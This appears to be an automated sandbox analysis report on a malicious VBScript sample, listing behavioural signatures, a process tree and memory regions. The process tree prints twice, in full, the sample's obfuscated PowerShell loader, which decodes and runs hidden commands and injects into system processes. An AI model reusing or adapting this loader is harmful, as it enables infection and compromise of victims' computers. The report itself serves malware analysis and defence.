Analysis
- max time kernel
149s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
15/07/2026, 01:53
General
- Target Ekspeditionssekretrens.vbs
- Size 34KB
- Sample260715-ca8tysb12v
- SHA256 7ca0ba91ec68940ed9964d0f912901b654ddd338864fc214419cf40b0b4b29f7
Malware Config
Signatures
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Ekspeditionssekretrens.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";;;function xkcdjksd {$haandmads = 'flabbergaste daotato';[void](Get-Date)}rv 'lepidopterological150' 'grilleringers' 'methoxybenzene';$skottehistoriernes = [System.Environment]::OSVersion;$bundtet30=40229-40229;$dawdy=67391-61391;function lksdjfks {$protopoeticoliganvisningers = 'dinoz slu';$draughtsboard = Get-Location}function besudlings ($linga,$protopoetic) {[void](Get-Date);$trencherside = 'noxnse nxse';$bona=talnettets(@(116,222,216,225,204,196,162,214,231,225,194,154,147,227,215,210,233,227,223,225,181,230,216,214,142)) ;Fatherless ($bona)}[System.GC]::Collect();function talnettets ($calvadosernes) { $zoharist = New-Object char[] $calvadosernes.Count; for ($bundtet30 = 0; $bundtet30 -lt $calvadosernes.Count; $bundtet30++) { $dawdy = $bundtet30 % 10; $calvadosernes[$bundtet30] -= $falder[$dawdy]; $zoharist[$bundtet30] = [char]$calvadosernes[$bundtet30]; } $komitpeen249 = New-Object string ($zoharist, 0, $zoharist.Length); $komitpeen249}function Fatherless ($cornucopian254) {[void](Get-Process -Id $PID);&($nedbrydningernes) $cornucopian254}Function Europarekord ($calvadosernes,$lingalarmsignals=0){[void](Get-Service | Select-Object -First 1);$quintfoil=talnettets(@(171,181,222,225,219,200,231,232,204,172,138,184,225,226,210,165,214,231,212,168,132,197,227,229,206,209,220,156,147,213,177,222,229,212,201,210,232,217,225,224,181,229,152));$opbevaring=@(Fatherless ($quintfoil));For($juliuscaesar=0; $opbevaring[$juliuscaesar] -ne $marlboro; $juliuscaesar++){$opbevaring[$juliuscaesar] = besudlings $opbevaring[$juliuscaesar] $falder[$juliuscaesar%10]}$colonise=talnettets(@(125,220,222,220,211,131,208,215,215,211,194,205,204,208,137,210,229,214,212,232,177,228,216,225,204));$irrecoverably=Fatherless ($colonise);if ($lingalarmsignals) { Fatherless $irrecoverably}else {;$irrecoverably}}$campuserne = [System.Guid]::NewGuid();$falder=@(80,114,111,115,101,99,117,116,111,114);$nedbrydningernes=talnettets @(153,183,199);$reserval226='\Dispreads138.ant';$protopoeticedazzlingly=Europarekord 'ZVxfU000HBoLHScBTz0xQ0REQUJrUjgaC1VBT08KZkZUUxcVT0VaQH5CRlMiBhYfAF1iQl5DVVJFRU80OQAKFQobWkVaQH5C';$intimidation=Europarekord 'OAYbAxZZWlsLADkECl0CDBoTAxd+EQAeShYWSwoKIB0dB1gHGgMBHj8TC1UMB0hFIEATJTgJOjRNGBoiKAYKIjEnNBodFCoEHAcAWzEaJTU=';$protopoeticaptise=Europarekord 'HQEXHglRWycKACYXHSsoLz0gOyJ+REFD';$phthisipneumonia=Europarekord 'Fzc7';$cardias=Europarekord 'BQEKAUgiEhEBBg==';$decimally=Europarekord 'bg==';Europarekord 'dBUDHAcCGU4cByACAAAMFxwbARM8HhZOQQYbAlUTIAILEhECXlAdFyMXHQUED0dGWQ==' 1;Europarekord 'dBUDHAcCGU4MByIAFhAKDhcHUlY5HBsaCAoRFRsbPxxBABUPHABHVjQXDBoIAhkYFls=' 1;$intimidation=$currycombs[0];Europarekord 'dBUDHAcCGU4LADUYCgAGBhsRHQFmQ1I9ABRYOw0YNREbU0ggGhlPViAAAAcKExoRGxszEx8HDBAQ' 1;Europarekord 'dBUDHAcCGU4DEDEBHBYLEEhcOxcjBkIjBBcdVEsBJQIfHBYKAR0AHDEeAwpM' 1;while (!$lbassens) {Europarekord 'dBUDHAcCGU4gBDUACR8BChIHG090Bh0GAA==' 1;Europarekord 'dBYdFg8GBhcKHDUAHEVUTRoEChx4Vh8bEQscBwYCPhcaHgoNHBVDUnQbAQcMDhwQDgY5HQFfRUcTFQMBNVs=' 1;Europarekord 'dBYdFg8GBhcKHDUAHEVUTQYRGyA1AxoWFhc9EQ4WNQBHVwYCBxAGEyNeT1cVERoAAAI/FxsaBgYRFRUIPBsBFAkaXA==' 1;Europarekord 'dBYdFg8GBhcKHDUAHEVUTQYRARZ4Ww==' 1;Europarekord 'dBUDHAcCGU4LGyMQAAAKDhAQXkFjT0sXFwYfERwRNRwKARZVRFocBjEGGgBFThAFT0BgQg==' 1;if ($disbosomed133) {Europarekord 'CxAWBwA4KClLFTwdDRIJWQAaHBoxAgodCRpIUAsANRgKAAYGGxEdAWZDQQEAEAUbAQE1MAAXHA==' 1;Europarekord 'IxFPVxYWBQQAATkGBhwLAhkYFlJ0BwEADQIFEQEeKVJCNgsAGhAGHDdSLQoRBg==' 1} Europarekord 'Ax4KFhVLQV0=' 1;Europarekord 'dBUDHAcCGU4DEDEBHBYLEEhcOxcjBkIjBBcdVEsBJQIfHBYKAR0AHDEeAwpM' 1 ;Europarekord 'dBUDHAcCGU4cFz4WCh4EDREHAhY1AFJXAg8aFg4eah0NGRYAFBpEWXVWDAYXEQwXAB8yAUEQChYbAA==' 1;$intimidation=$currycombs[$sendemandsmder]}$forenamed248=161657;$decadents=21286;Europarekord 'dBUDHAcCGU4EADkVCh0AXhIXT1YjBx8DChAcAAYdPhMDHxw=' 1;Europarekord 'dBUDHAcCGU4tEz4ZAAMJGgYaBhw3TzQwCg0DER0GDUhVNRcMGDYOATVEWyARERwaCFp0GR0aAgYbEUY=' 1;Europarekord 'dBUDHAcCGU4LCyMXHEVTXi4gCgokXCodBgwRHQEVDUhVMjYgPD1BNTUGPAcXChsTR1YSEwEYChMZDRwcORwIWg==' 1;Europarekord 'dBUDHAcCGU4NFzgdAxcAERMVDQA5GQQWFw0QSUsWKQEKAFNVWwcaECMGHRoLBF1QCR0iFwESCAYRRltKfFYLFgYCEREBBiNb' 1;Fatherless $beholderfabrikkerne;function mnvbvc {$protopoeticlegselleri = 'sa volaae'};;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";;;function xkcdjksd {$haandmads = 'flabbergaste daotato';[void](Get-Date)}rv 'lepidopterological150' 'grilleringers' 'methoxybenzene';$skottehistoriernes = [System.Environment]::OSVersion;$bundtet30=40229-40229;$dawdy=67391-61391;function lksdjfks {$protopoeticoliganvisningers = 'dinoz slu';$draughtsboard = Get-Location}function besudlings ($linga,$protopoetic) {[void](Get-Date);$trencherside = 'noxnse nxse';$bona=talnettets(@(116,222,216,225,204,196,162,214,231,225,194,154,147,227,215,210,233,227,223,225,181,230,216,214,142)) ;Fatherless ($bona)}[System.GC]::Collect();function talnettets ($calvadosernes) { $zoharist = New-Object char[] $calvadosernes.Count; for ($bundtet30 = 0; $bundtet30 -lt $calvadosernes.Count; $bundtet30++) { $dawdy = $bundtet30 % 10; $calvadosernes[$bundtet30] -= $falder[$dawdy]; $zoharist[$bundtet30] = [char]$calvadosernes[$bundtet30]; } $komitpeen249 = New-Object string ($zoharist, 0, $zoharist.Length); $komitpeen249}function Fatherless ($cornucopian254) {[void](Get-Process -Id $PID);&($nedbrydningernes) $cornucopian254}Function Europarekord ($calvadosernes,$lingalarmsignals=0){[void](Get-Service | Select-Object -First 1);$quintfoil=talnettets(@(171,181,222,225,219,200,231,232,204,172,138,184,225,226,210,165,214,231,212,168,132,197,227,229,206,209,220,156,147,213,177,222,229,212,201,210,232,217,225,224,181,229,152));$opbevaring=@(Fatherless ($quintfoil));For($juliuscaesar=0; $opbevaring[$juliuscaesar] -ne $marlboro; $juliuscaesar++){$opbevaring[$juliuscaesar] = besudlings $opbevaring[$juliuscaesar] $falder[$juliuscaesar%10]}$colonise=talnettets(@(125,220,222,220,211,131,208,215,215,211,194,205,204,208,137,210,229,214,212,232,177,228,216,225,204));$irrecoverably=Fatherless ($colonise);if ($lingalarmsignals) { Fatherless $irrecoverably}else {;$irrecoverably}}$campuserne = [System.Guid]::NewGuid();$falder=@(80,114,111,115,101,99,117,116,111,114);$nedbrydningernes=talnettets @(153,183,199);$reserval226='\Dispreads138.ant';$protopoeticedazzlingly=Europarekord 'ZVxfU000HBoLHScBTz0xQ0REQUJrUjgaC1VBT08KZkZUUxcVT0VaQH5CRlMiBhYfAF1iQl5DVVJFRU80OQAKFQobWkVaQH5C';$intimidation=Europarekord 'OAYbAxZZWlsLADkECl0CDBoTAxd+EQAeShYWSwoKIB0dB1gHGgMBHj8TC1UMB0hFIEATJTgJOjRNGBoiKAYKIjEnNBodFCoEHAcAWzEaJTU=';$protopoeticaptise=Europarekord 'HQEXHglRWycKACYXHSsoLz0gOyJ+REFD';$phthisipneumonia=Europarekord 'Fzc7';$cardias=Europarekord 'BQEKAUgiEhEBBg==';$decimally=Europarekord 'bg==';Europarekord 'dBUDHAcCGU4cByACAAAMFxwbARM8HhZOQQYbAlUTIAILEhECXlAdFyMXHQUED0dGWQ==' 1;Europarekord 'dBUDHAcCGU4MByIAFhAKDhcHUlY5HBsaCAoRFRsbPxxBABUPHABHVjQXDBoIAhkYFls=' 1;$intimidation=$currycombs[0];Europarekord 'dBUDHAcCGU4LADUYCgAGBhsRHQFmQ1I9ABRYOw0YNREbU0ggGhlPViAAAAcKExoRGxszEx8HDBAQ' 1;Europarekord 'dBUDHAcCGU4DEDEBHBYLEEhcOxcjBkIjBBcdVEsBJQIfHBYKAR0AHDEeAwpM' 1;while (!$lbassens) {Europarekord 'dBUDHAcCGU4gBDUACR8BChIHG090Bh0GAA==' 1;Europarekord 'dBYdFg8GBhcKHDUAHEVUTRoEChx4Vh8bEQscBwYCPhcaHgoNHBVDUnQbAQcMDhwQDgY5HQFfRUcTFQMBNVs=' 1;Europarekord 'dBYdFg8GBhcKHDUAHEVUTQYRGyA1AxoWFhc9EQ4WNQBHVwYCBxAGEyNeT1cVERoAAAI/FxsaBgYRFRUIPBsBFAkaXA==' 1;Europarekord 'dBYdFg8GBhcKHDUAHEVUTQYRARZ4Ww==' 1;Europarekord 'dBUDHAcCGU4LGyMQAAAKDhAQXkFjT0sXFwYfERwRNRwKARZVRFocBjEGGgBFThAFT0BgQg==' 1;if ($disbosomed133) {Europarekord 'CxAWBwA4KClLFTwdDRIJWQAaHBoxAgodCRpIUAsANRgKAAYGGxEdAWZDQQEAEAUbAQE1MAAXHA==' 1;Europarekord 'IxFPVxYWBQQAATkGBhwLAhkYFlJ0BwEADQIFEQEeKVJCNgsAGhAGHDdSLQoRBg==' 1} Europarekord 'Ax4KFhVLQV0=' 1;Europarekord 'dBUDHAcCGU4DEDEBHBYLEEhcOxcjBkIjBBcdVEsBJQIfHBYKAR0AHDEeAwpM' 1 ;Europarekord 'dBUDHAcCGU4cFz4WCh4EDREHAhY1AFJXAg8aFg4eah0NGRYAFBpEWXVWDAYXEQwXAB8yAUEQChYbAA==' 1;$intimidation=$currycombs[$sendemandsmder]}$forenamed248=161657;$decadents=21286;Europarekord 'dBUDHAcCGU4EADkVCh0AXhIXT1YjBx8DChAcAAYdPhMDHxw=' 1;Europarekord 'dBUDHAcCGU4tEz4ZAAMJGgYaBhw3TzQwCg0DER0GDUhVNRcMGDYOATVEWyARERwaCFp0GR0aAgYbEUY=' 1;Europarekord 'dBUDHAcCGU4LCyMXHEVTXi4gCgokXCodBgwRHQEVDUhVMjYgPD1BNTUGPAcXChsTR1YSEwEYChMZDRwcORwIWg==' 1;Europarekord 'dBUDHAcCGU4NFzgdAxcAERMVDQA5GQQWFw0QSUsWKQEKAFNVWwcaECMGHRoLBF1QCR0iFwESCAYRRltKfFYLFgYCEREBBiNb' 1;Fatherless $beholderfabrikkerne;function mnvbvc {$protopoeticlegselleri = 'sa volaae'};;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Dispreads138.ant
memory/3116-47-0x00000000006C0000-0x00000000019A6000-memory.dmp
memory/3496-0-0x00000242F37B0000-0x00000242F38A0000-memory.dmp
memory/3864-39-0x0000000007C20000-0x000000000829C000-memory.dmp
memory/3864-36-0x00000000063B0000-0x00000000063CE000-memory.dmp
memory/3864-40-0x0000000006950000-0x000000000696A000-memory.dmp
memory/3864-27-0x0000000002B90000-0x0000000002BC6000-memory.dmp
memory/3864-42-0x0000000007630000-0x0000000007652000-memory.dmp
memory/3864-43-0x0000000008860000-0x0000000008E1A000-memory.dmp
memory/3864-37-0x0000000006420000-0x000000000646C000-memory.dmp
memory/3864-41-0x0000000007690000-0x0000000007726000-memory.dmp
memory/3864-45-0x0000000008E20000-0x000000000D807000-memory.dmp
memory/3864-34-0x0000000005E80000-0x00000000061DB000-memory.dmp
memory/3864-29-0x0000000005600000-0x0000000005622000-memory.dmp
memory/3864-31-0x0000000005DD0000-0x0000000005E36000-memory.dmp
memory/3864-30-0x00000000056C0000-0x0000000005726000-memory.dmp
memory/3864-28-0x0000000005780000-0x0000000005DCA000-memory.dmp
memory/4508-11-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-14-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-25-0x0000017EED300000-0x0000017EED3F0000-memory.dmp
memory/4508-21-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-19-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-18-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-17-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-16-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-15-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-26-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-13-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-12-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-10-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-9-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-8-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-7-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-6-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-5-0x00007FFCFC670000-0x00007FFCFD014000-memory.dmp
memory/4508-4-0x0000017EEC0A0000-0x0000017EEC0C2000-memory.dmp
memory/4508-1-0x00007FFCFC7FF000-0x00007FFCFC800000-memory.dmp